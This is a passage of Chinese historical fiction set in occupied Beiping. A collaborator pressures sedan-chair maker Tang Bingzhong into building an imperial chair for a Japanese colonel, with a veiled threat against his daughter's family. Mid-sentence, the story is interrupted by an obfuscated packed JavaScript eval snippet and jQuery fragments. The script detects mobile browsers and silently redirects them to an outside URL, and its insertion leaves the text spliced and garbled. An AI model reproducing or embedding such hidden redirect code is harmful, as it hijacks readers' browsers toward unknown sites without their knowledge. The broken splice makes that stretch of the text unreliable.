这一年的端阳节比前仿佛褪了颜色一般，街景人心皆成空白。市面上可供选择的瓜果吃食有限得寒酸，又小又硬的杏子涩青里透着怯黄，令人望之生津。紫黑肥美的大桑葚零星点缀在果品铺子的点眼位置上，挑逗着南来北往行人的味蕾，连同一旁摆着的俏红大樱桃儿，混搭出一派浓艳得宜热闹喜庆的景致。只可惜北平的老百姓是看得多问得少，甭问也知道，价格必是贵得咋舌。
唯有时序不理时艰，天坛的垂柳照旧裁出了新枝，摇曳婀娜俯仰生姿。初生不久的蜻蜓翅子还软，玻璃纱般盈盈翻飞，穿梭点缀在怒放的碧桃和榆叶梅之间，蝉还未啼。飞得最高最远的还是风筝，黑锅底，胖沙燕儿，各式各样的美人儿彩龙铺了满天，令人目不暇接，恍然神往。时予寰抬头看了看前门楼子上的风筝，想起儿时听父亲说起过的北新桥“屎蜣螂常”，夏天专卖“屎蜣螂车”，离老远就能听见他吆喝“好肥骡子～好热车哎～”。到了秋冬时节，他能将三四个猴儿八戒风筝连起来放到空中，虽然规模有限，倒也风光无量。予寰任由思绪翻飞，一时羡慕一时怅然，风筝飞得再高再远，不还被根细线儿牢牢拴着么。
“爸，大生也想放风筝，爸带大生放风筝。”稚子奶声奶气的童音将予寰的思绪唤回，他俯下身子亲了亲大生的滚圆稚嫩的小脸蛋儿，微笑说道：“行，哪天爸也带你和妹妹放风筝去。”淑珍笑看了一眼怀里抱着的大源，自顾自说着：“待会儿姥爷见了他俩，还不定怎么开怀呢！”
永丰轿行的唐老板近来心绪颇不敞亮。年景不好，兵荒马乱，不知不觉间北平城已在小鬼子治下苦捱了两年多。眼瞧着煤米钱粮日渐吃紧，上至达官贵人，下到平头百姓，在婚丧嫁娶迎来送往的仪式感上全失了兴致与劲头，得过且过，能省则省。轿行的买卖好似秋后的日头，一天不如一天。有日子没老主顾登门定轿子办喜事儿了，就是临时赁轿子应急的也屈指可数，十天半拉月能上门一位，就是让唐老板烧高香恭迎的贵客了。
端午这天一大清早儿，唐老板泡了壶滟花茶闷坐堂屋，有一搭没一搭地看几个小工晒洗打理库房存的轿顶子。全都是上等绒绸面儿，一等一的老绣精工，可惜了儿经年累月躺在库房里接灰尘。唐老板名唤秉忠，打从他记事儿时起，日子里似乎就离不开各式各样的轿子。唐家世代靠着制作轿子的独门手艺传承光大，到了他这一辈儿，已然算得上北平城里叫得响名声的精品老字号了。
要搁往常，端午前后正是娶媳妇聘闺女的好时节，轿行里买卖兴隆应接不暇。节下这天唐老板也必能给伙计们开出一份主仆尽欢的节赏。可今年端午，不过大家伙凑一桌儿吃顿好的，也算给那帮尽心尽力跟了他十来年的老伙计们道个乏了。
一念及此，唐老板愤然啐出嘴里的茶叶沫子，又无可奈何地闭上了眼。坐着坐着，刚有睡意一点点儿漫上来时，唐太太进来了，小心翼翼禀报说：“当家的，有客人上门了。”唐老板听见“客人”二字，灯笼似的瞪圆了双眼。他呷了口茶漱口，略定一定神，方才说道：“快请！”
但见来客四十几岁年纪，白净和气的团圆脸上早堆满了殷实的笑容。一身挺括平整的牙白真丝大褂儿于清凉风雅之外，恰到好处地彰显出身份的尊贵不俗。唐老板心下窃喜，明白眼前这位可是难得一见的贵客，须得小心张罗着才是。贵客一见唐老板，立时收了折扇，毕恭毕敬立起来道：“在下晏开泰，如今在文教局混口饭辙。一早听说唐老板的永丰轿行是家传手艺老字号，今日特意上门拜见！一点儿节礼不成敬意，还请唐老板笑纳！”说话间将手边花里胡哨的果篮与粽子食盒朝唐老板推了推。
唐老板吩咐另给晏开泰沏了一壶超等龙茶，方才在他对首坐定道：“晏先生您这么客气，倒叫唐某人摸不着头脑了。可是府上有喜事要用轿子？”晏开泰不慌不忙地啜了一小口茶，含笑道：“不是我府上用轿，可也确是一桩天大的喜事！大日本帝国驻京皇军的野山大佐，久仰咱们中华文明，一心想把北平人祖传那点儿老玩意儿一样样儿地全体验一把，这不是，大佐吩咐下来想要坐轿子逛北平，我这一打听，头一家儿就数您这永丰轿行声名在外，敢情还给前朝的皇族办过差事呢。野山大佐也当即拍了板儿，就从您这给皇上制过轿的百年老号定做一乘皇族规格的上品软轿。”
唐老板初时那股子欣喜若狂的劲头叫晏开泰越说越寡淡，听到最后他只剩下低头喝茶的份儿了。扪心说他是真盼着来上这么一号有赚头的大买卖，也好给惨淡了这么些日子的轿行换换风水招招财。可一听是给小鬼子制轿，他这心里也不怎么就泛起一股腻味，外加压抑不住的无名怒火。
卢沟桥事变以来，日本人在北平在中国杀了多少人造了多少孽，唐老板心里明镜儿似的一清二楚。别的不说，现如今轿行寡淡了买卖，还不是日本鬼子霸占北平给闹的？这帮祸害中国的小鬼子想坐着他铺子里的轿子，耀武扬威地逛北平城？老喽！
唐老板越盘算脸色越阴沉，晏开泰兀自说着：“唐老板尽管放心，跟日本人做买卖，最不用操心的就是价钱，野山大佐说了，一切
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835036|175636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都按最好的来，票子，大大地有！”唐老板沉吟再三，把盖碗儿一放沉声说道：“晏先生和皇军大佐实在高看了我这小小轿行，原是手艺人糊口混饭吃的小本儿买卖，应付个寻常人家的吉庆场面也就罢了，绝入不了皇军大佐的青眼。还请晏先生为皇军长官另请高明。”
晏开泰一听这话，“唰”地打开折扇，不紧不慢地摇了几摇，皮笑肉不笑地拿眼叼着唐老板说：“您这可是给我晏某人出难题啊唐老板，日本人最重品质，皇军又向来说一不二，他们钦点了您这永丰轿行您不伺候，改日大佐带人亲自登门，可就不像我这般客气了。实话说我也是关着街里街坊的情分才跟您掰开揉碎地讲这么多，您还不知道吧，在下跟您的贤婿时予寰住同一条胡同儿。”
唐老板一听予寰的名字，脑海里开花般绽放出大生和大源活泼稚嫩的笑脸，纤弱软糯，不盈一握。想想自己这一辈子，起早贪黑操心受累地支营起家传的买卖，好歹积下一份不薄不厚的家资，却膝下无子，只有一双并蒂莲似的闺女。当初为逞那一时之气，亲手毁了大闺女淑凤的一生，临了儿活活儿逼死了她。唐老板为这个可是没少在背人处掉眼泪。幸而淑珍如他当初所愿嫁进了时家，生儿育女开枝散叶，大生和大源就是他唐秉忠往后活着的盼头，淑珍和予寰便是他家道中落灰败颓丧的心境里，扑朔明灭的一点微光。
混迹市井大半生，唐老板自然听得出晏开泰这番拉拢之词暗藏的杀音。绝不能叫这姓晏的走狗灭了自己眼前仅剩的这点亮儿，他颠来倒去思揣再三，试着步儿问晏开泰道：“不知皇军长官什么时候用轿？”晏开泰朗声大笑，探手入怀取出一方小锦盒来，一边打开一边说着：“唐老板到底是爽快人！大佐半个月后乘轿巡游，一应规格材质都得按着前清皇帝的祖制来，您可记好了，整个儿轿子上要绣满九条金龙，还得是双面儿苏绣的滚金老工艺。这对儿小金条是大佐预付的订金，唐老板您收好喽。”
唐秉忠没伸手去接那锦盒，只在桌子底下暗自攥紧了双拳，直攥得两腮微微抽动，良久无言。晏开泰见事儿已谈妥，多说无益，也便告辞而去。一出大门迎头遇上了予寰一家，晏开泰满面含笑地抢上几步，朝予寰淑珍作了个揖：“过节好过节好！小两口儿带孩子回娘家，哈！这等天伦之乐真真羡煞我也！晏某公务在身先行一步，回见了您哒！”
“他……他怎么上这儿来了？”淑珍喃喃，自言自语般问道。予寰没有搭腔儿，只没来由地觉着晌午的太阳突然没了热乎气儿。
大源哭起来了。